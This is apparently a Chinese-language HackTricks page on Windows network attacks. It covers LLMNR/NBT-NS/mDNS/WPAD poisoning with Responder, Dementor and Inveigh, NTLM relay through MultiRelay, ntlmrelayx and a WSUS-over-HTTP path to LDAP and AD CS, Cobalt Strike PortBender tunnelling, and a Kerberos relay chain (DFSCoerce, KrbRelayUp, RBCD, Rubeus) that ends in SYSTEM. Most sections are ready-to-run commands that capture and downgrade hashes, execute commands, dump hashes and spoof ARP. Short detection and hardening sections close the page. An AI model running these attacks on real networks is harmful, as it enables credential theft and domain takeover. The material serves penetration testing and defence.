伪造 LLMNR、NBT-NS、mDNS/DNS 与 WPAD 及中继攻击

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!

加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

网络协议

本地主机解析协议

LLMNR、NBT-NS 和 mDNS：
Microsoft 及其他操作系统在 DNS 解析失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地，Apple 和 Linux 系统使用 mDNS。
由于这些协议在 UDP 上传播且不做验证，因此容易被拦截和伪造。
Responder 和 Dementor 可用于通过向查询这些协议的主机发送伪造响应来冒充服务。
关于使用 Responder 进行服务冒充的更多信息，请见 here。

Web Proxy Auto-Discovery Protocol (WPAD)

WPAD 允许浏览器自动发现代理设置。
发现可以通过 DHCP、DNS 实现；如果 DNS 失败，则回退到 LLMNR 和 NBT-NS。
Responder 可以自动化 WPAD 攻击，将客户端指向恶意 WPAD 服务器。

Responder/Dementor 用于协议投毒

Responder 是用于投毒 LLMNR、NBT-NS 和 mDNS 查询的工具，可根据查询类型有选择地响应，主要针对 SMB 服务。
它预装于 Kali Linux，可在 /etc/responder/Responder.conf 配置。
Responder 会在屏幕上显示捕获到的哈希，并将其保存到 /usr/share/responder/logs 目录。
它同时支持 IPv4 和 IPv6。
Windows 版本的 Responder 可在 here 获得。
Dementor 扩展了多播投毒的功能，另外还充当恶意服务提供者（包括 CUPS RCE 支持）
整体结构与 Responder 相似，但具有更精细的配置。（默认配置位于: Dementor.toml）
Dementor 与 Responder 的兼容性见此处: Compatibility Matrix
介绍与文档见: Dementor - Docs
修复了 Responder 在某些协议上引入的捕获问题

运行 Responder

使用默认设置运行 Responder: responder -I <Interface>
更激进的探测（可能有副作用）: responder -I <Interface> -P -r -v
捕获 NTLMv1 挑战/响应以便更容易破解的技术: responder -I <Interface> --lm --disable-ess
可通过以下命令激活 WPAD 冒充: responder -I <Interface> --wpad
NetBIOS 请求可以解析到攻击者的 IP，并可设置认证代理: responder.py -I <interface> -Pv

运行 Dementor

使用默认设置: Dementor -I <interface>
在分析模式下使用默认设置: Dementor -I <interface> -A
自动 NTLM 会话降级 (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
使用自定义配置运行当前会话: Dementor -I <interface> --config <file.toml>

使用 Responder 的 DHCP 投毒

伪造 DHCP 响应可以永久毒化受害者的路由信息，提供比 ARP 投毒更隐蔽的替代方案。
这需要精确了解目标网络的配置。
发动该攻击的命令: ./Responder.py -I eth0 -Pdv
该方法可以有效捕获 NTLMv1/2 哈希，但需谨慎操作以避免网络中断。

使用 Responder/Dementor 捕获凭据

Responder/Dementor 会通过上述协议冒充服务，当用户尝试对伪造的服务进行认证时捕获凭据（通常为 NTLMv2 Challenge/Response）。
可以尝试降级到 NetNTLMv1 或禁用 ESS 以便更容易破解凭据。

请务必注意，使用这些技术应在合法且合乎伦理的前提下进行，确保获得适当授权并避免造成中断或未经授权的访问。

Inveigh 是为 Windows 系统设计的工具，面向 penetration testers and red teamers。它提供与 Responder 类似的功能，执行 spoofing 和 man-in-the-middle attacks。该工具已从 PowerShell 脚本发展为 C# 二进制，主要版本为 Inveigh 和 InveighZero。详细的参数和说明可见 wiki。

Inveigh 可通过 PowerShell 操作：

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或者作为 C# 二进制执行：

Inveigh.exe

NTLM Relay Attack

该攻击利用 SMB 身份验证会话访问目标主机，成功时可获取 system shell。主要前提条件包括：

进行身份验证的用户必须在被中继的主机上具有 Local Admin 访问权限。
SMB signing 应被禁用。

445 Port Forwarding and Tunneling

在无法直接引入网络流量的情况下，需要对 port 445 的流量进行转发与隧道化。像 PortBender 这样的工具可以将 port 445 的流量重定向到另一个端口；当可通过 local admin 权限加载驱动时，这一点尤为重要。

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

用于 NTLM Relay Attack 的其他工具

Metasploit：配置代理、以及本地和远程主机信息。
smbrelayx：用于中继 SMB 会话、执行命令或部署 backdoors 的 Python 脚本。
MultiRelay：来自 Responder 套件的工具，用于中继特定用户或所有用户、执行命令或 dump hashes。

每个工具都可以在必要时配置为通过 SOCKS 代理运行，从而即使在间接网络访问情况下也能发起攻击。

MultiRelay 操作

MultiRelay 从 /usr/share/responder/tools 目录运行，目标为特定 IP 或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

这些工具和技术构成了一套全面的方法，用于在各种网络环境中执行 NTLM Relay 攻击。

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531)。当启用 HTTP 时，客户端的周期性检查可以在本地网段被强制或拦截，并使用 ntlmrelayx 中继到 LDAP/LDAPS/SMB 或 AD CS HTTP 端点 (ESC8)，无需破解任何哈希。这类流量与正常更新流量混合，且经常会得到机器账户身份验证（HOST$）。

What to look for

GPO/registry 配置位于 HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 和 …\WindowsUpdate\AU：
WUServer (例如, http://wsus.domain.local:8530)
WUStatusServer (报告 URL)
UseWUServer (1 = WSUS; 0 = Microsoft Update)
DetectionFrequencyEnabled 和 DetectionFrequency (小时)
客户端通过 HTTP 使用的 WSUS SOAP 端点：
/ClientWebService/client.asmx (approvals)
/ReportingWebService/reportingwebservice.asmx (status)
默认端口：8530/tcp HTTP，8531/tcp HTTPS

Reconnaissance

Unauthenticated
扫描监听器: nmap -sSVC -Pn –open -p 8530,8531 -iL
通过 L2 MITM 抓取 HTTP WSUS 流量，并使用 wsusniff.py 记录活动客户端/端点（仅限 HTTP，除非你能让客户端信任你的 TLS 证书）。
Authenticated
使用 MANSPIDER + regpol 解析 SYSVOL GPO 中的 WSUS 键（wsuspider.sh 包装器会汇总 WUServer/WUStatusServer/UseWUServer）。
大规模从主机（NetExec）或本地查询端点： nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

为 MITM 定位（相同 L2），使客户端将 WSUS 服务器解析到你这里（ARP/DNS poisoning, Bettercap, mitm6 等）。arpspoof 示例： arpspoof -i -t <wsus_client_ip> <wsus_server_ip>
将端口 8530 重定向到你的 relay 监听端口（可选，方便）： iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
启动 ntlmrelayx 并使用 HTTP 监听器（需要 Impacket 对 HTTP listener 的支持；见下面的 PR）： ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

其他常见目标：

中继到 SMB（若签名关闭）以执行 exec/dump：-t smb://
中继到 LDAPS 以进行目录更改（例如，RBCD）：-t ldaps://
中继到 AD CS web enrollment (ESC8) 以伪造证书，然后通过 Schannel/PKINIT 进行认证： ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server 有关更深入的 AD CS 滥用路径和工具，请参见 AD CS 页面：

AD CS Domain Escalation

触发客户端检查或等待计划。来自客户端： wuauclt.exe /detectnow 或使用 Windows Update UI（Check for updates）。
使用已认证的 SOCKS 会话（如果使用 -socks）或直接使用中继结果进行 post-exploitation（LDAP 更改、SMB 操作，或为后续认证签发 AD CS 证书）。

HTTPS constraint (8531)

对 WSUS over HTTPS 的被动拦截在没有让客户端信任你的证书的情况下无效。没有受信任的证书或其他 TLS 破解手段，就无法从 WSUS HTTPS 流量中收集/中继 NTLM 握手。

Notes

WSUS 虽被宣布弃用，但仍广泛部署；HTTP (8530) 在许多环境中仍然常见。
有用的辅助工具：wsusniff.py（观察 HTTP WSUS 检查），wsuspider.sh（从 GPO 枚举 WUServer/WUStatusServer），NetExec reg-query 用于大规模查询。
Impacket 在 PR #2034 中恢复了对 ntlmrelayx HTTP listener 的支持（最初在 PR #913 中添加）。

Force NTLM Logins

在 Windows 中，你可能能够强制一些特权账户向任意机器进行身份验证。阅读以下页面以了解如何：

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack 窃取来自一个服务的 AP-REQ ticket 并将其在第二个服务上重用，只要两个服务共享相同的 computer-account key（因为两个 SPN 都挂在同一个以 $ 结尾的机器账户上）。即便 SPN 的 service classes 不同（例如 CIFS/ → LDAP/），该方法仍然有效，因为解密票证的 key 是机器的 NT hash，而不是 SPN 字符串本身，而且 SPN 字符串不在签名中。

与 NTLM relay 不同，跳转限制在同一主机，但如果你针对允许写入 LDAP 的协议，就可以链入 Resource-Based Constrained Delegation (RBCD) 或 AD CS enrollment，一次性获取 NT AUTHORITY\SYSTEM。

有关此攻击的详细信息，请查看：

Token	Purpose	Relay relevance
TGT / AS-REQ ↔ REP	向 KDC 证明用户	不可中继
Service ticket / TGS-REQ ↔ REP	绑定到一个 SPN；用 SPN 所有者的密钥加密	如果 SPN 共享账户，则可互换
AP-REQ	客户端将 `TGS` 发送给服务	我们窃取并重放的对象

票证使用 拥有该 SPN 的账户的密码派生密钥 加密。
AP-REQ 中的 Authenticator 含有 5 分钟的时间戳；在该窗口内重放有效，直到服务缓存检测到重复。
Windows 很少检查票证中的 SPN 字符串是否与所访问的服务匹配，因此 CIFS/HOST 的票证通常可以在 LDAP/HOST 上正常解密。

1. What must be true to relay Kerberos

Shared key: 源和目标 SPN 属于同一个计算机账户（Windows 服务器的默认情况）。
No channel protection: SMB/LDAP signing 关闭，HTTP/LDAPS 的 EPA 关闭。
You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM 等。
Ticket source not already used: 在真实数据包到达之前你必须赢得竞赛，或完全阻断它；否则服务器的重放缓存会触发 Event 4649。
你需要以某种方式执行通信中的 MitM，例如成为 DNSAmins 组的一员来修改域的 DNS，或能够更改受害者的 HOST 文件。

Kerberos Relay Steps

3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

3.2 启动中继监听器

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp 将 KrbRelay → LDAP → RBCD → Rubeus → SCM bypass 封装在一个二进制文件中。

3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce 让 DC 向我们发送 Kerberos CIFS/DC01 票证。

3.4 中继 AP-REQ

KrbRelay 从 SMB 中提取 GSS blob，将其重新打包为 LDAP bind，并转发到 ldap://DC01——认证成功，因为 相同的密钥 解密了它。

3.5 滥用 LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

你现在拥有 NT AUTHORITY\SYSTEM。

Vector	Trick	Why it matters
AuthIP / IPSec	伪造的服务器发送一个 GSS-ID payload 给任意 SPN；客户端直接向你构建一个 AP-REQ	即使跨子网也有效；默认使用机器凭据
DCOM / MSRPC	恶意 OXID resolver 强制客户端对任意 SPN 和端口进行认证	纯粹的本地 priv-esc；绕过防火墙
AD CS Web Enroll	Relay machine ticket to `HTTP/CA` and get a cert, then PKINIT to mint TGTs	绕过 LDAP 签名防护
Shadow Credentials	写入 `msDS-KeyCredentialLink`，然后使用伪造的密钥对进行 PKINIT	无需添加计算机账号

故障排除

Error	Meaning	Fix
`KRB_AP_ERR_MODIFIED`	票证密钥 ≠ 目标密钥	主机/SPN 错误
`KRB_AP_ERR_SKEW`	时钟偏移 > 5 分钟	同步时间或使用 `w32tm`
LDAP bind fails	强制要求签名	使用 AD CS 路径或禁用签名
Event 4649 spam	服务检测到重复 Authenticator	阻止或与原始数据包竞争

检测

短时间内来自同一来源的 Event 4769 在 CIFS/、HTTP/、LDAP/ 上激增。
服务上的 Event 4649 表示检测到重放。
来自 127.0.0.1 的 Kerberos 登录（中继到本地 SCM）高度可疑——通过 KrbRelayUp 文档中的 Sigma rule 进行映射。
监控 msDS-AllowedToActOnBehalfOfOtherIdentity 或 msDS-KeyCredentialLink 属性的更改。

加固

Enforce LDAP & SMB signing + EPA 在每台服务器上启用。
Split SPNs，使 HTTP 不与 CIFS/LDAP 使用同一账户。
修补强制认证向量（PetitPotam KB5005413、DFS、AuthIP）。
设置 ms-DS-MachineAccountQuota = 0 以阻止恶意计算机加入。
对 Event 4649 和意外的回环 Kerberos 登录触发告警。

References

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!

加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。